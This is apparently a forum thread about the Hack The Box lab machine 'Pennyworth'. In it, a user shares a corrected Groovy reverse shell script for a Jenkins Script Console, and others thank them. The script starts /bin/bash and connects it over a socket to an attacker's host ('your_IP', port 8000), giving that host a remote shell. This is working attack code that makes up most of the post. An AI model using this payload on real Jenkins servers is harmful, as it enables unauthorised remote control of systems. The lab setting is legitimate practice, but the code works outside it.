Starting Point - Pennyworth

i had a problem with the script from “Walkthrough”, after paste it in ‘Script Console’ showed an error.
A friend who understand the code correct it and that helped me finish the box, i hope that will help some of u.

Paste it down there.

    String host="your_IP";
    int port=8000;
    String cmd="/bin/bash";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);

    InputStream pi=p.getInputStream();

    pe = p.getErrorStream();
    si = s.getInputStream();

    OutputStream po=p.getOutputStream();
    so=s.getOutputStream();

    while(!s.isClosed())
    {
    while(pi.available()>0)so.write(pi.read());

    while(pe.available()>0)so.write(pe.read());

    while(si.available()>0)po.write(si.read());

    so.flush();
    po.flush();
    Thread.sleep(50);
    try
     {
         p.exitValue();
         break;
         
     } catch (Exception e){}}

    p.destroy();
    s.close();
1 Like

THANK YOU!!!

I was having trouble with this too.

They should re-write the guide to reflect this so other people don’t get stuck.

Then again, it teaches us how to use other resources to reach a goal.

1 Like